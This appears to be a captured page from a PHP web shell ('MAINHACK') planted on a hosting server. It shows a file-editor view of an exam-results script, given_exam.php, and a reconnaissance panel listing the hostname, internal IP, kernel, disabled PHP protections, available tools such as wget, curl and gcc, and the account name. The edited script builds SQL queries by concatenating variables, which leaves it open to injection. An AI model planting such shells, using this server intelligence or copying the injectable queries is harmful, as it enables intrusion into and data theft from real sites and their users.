[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: given_exam.php
<?php include('header.php'); ?> <div id="page-wrapper"> <div class="main-page"> <div class="row"> <div id="col-md-12"> <?php $count=1; $sq1="SELECT * from exam where user_id='".$uid."' and status='done' order by id desc limit 1"; $r1=mysqli_query($con,$sq1) or die(mysqli_error($con)); $c=mysqli_num_rows($r1); if($c>=1){ while($row1=mysqli_fetch_array($r1)){ $p=$row1['paper_no']; $pid=$row1['paper_id']; $exam_date=date('d-m-Y',strtotime($row1['date_of_exam'])); $exam_id=$row1['exam_id']; } $paper='PAPER'.$p; //cho $paper; echo "<div class='block-id'><h2>Paper NO : ".$p."</h2></div>"; echo "<div class='block-id'><h2>Paper ID : ".$pid."</h2></div>"; echo "<div class='block-id'><h2>Exam Date : ".$exam_date."</h2></div>"; $sq="select sum(marks) as marks,count(paper_no) as p from exam_score where exam_id='".$exam_id."' and paper_no='".$paper."'"; $r=mysqli_query($con,$sq); $c=mysqli_num_rows($r); $row=mysqli_fetch_array($r); $marks=$row['marks']; $p=$row['p']; $query2=mysqli_query($con,"SELECT * FROM $paper"); $c=mysqli_num_rows($query2); echo "<div class='block-id'><h2>Total Question : ".$c."</h2></div>"; echo "<div class='block-id'><h2>Total Attended Question : ".$p."</h2></div>"; echo "<div class='block-id'><h2>Total Marks Obtained : ".$marks."</h2></div>"; if($marks>=6){ echo "<div class='block-id'><h2>Status : Pass</h2></div>"; }else echo "<div class='block-id'><h2>Status : Fail</h2></div>"; }else{ echo "<div class='block-id'><h2>Exam Not alloted yet.</h2></div>"; } ?> <div class="clearfix"></div> </div> </div> </div> <?php $count++; // echo $uid; ?> </form> </div> </div> </div> </div> </div> </div> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); $("#date2").datepicker({ format: 'dd-mm-yyyy', }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.75 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619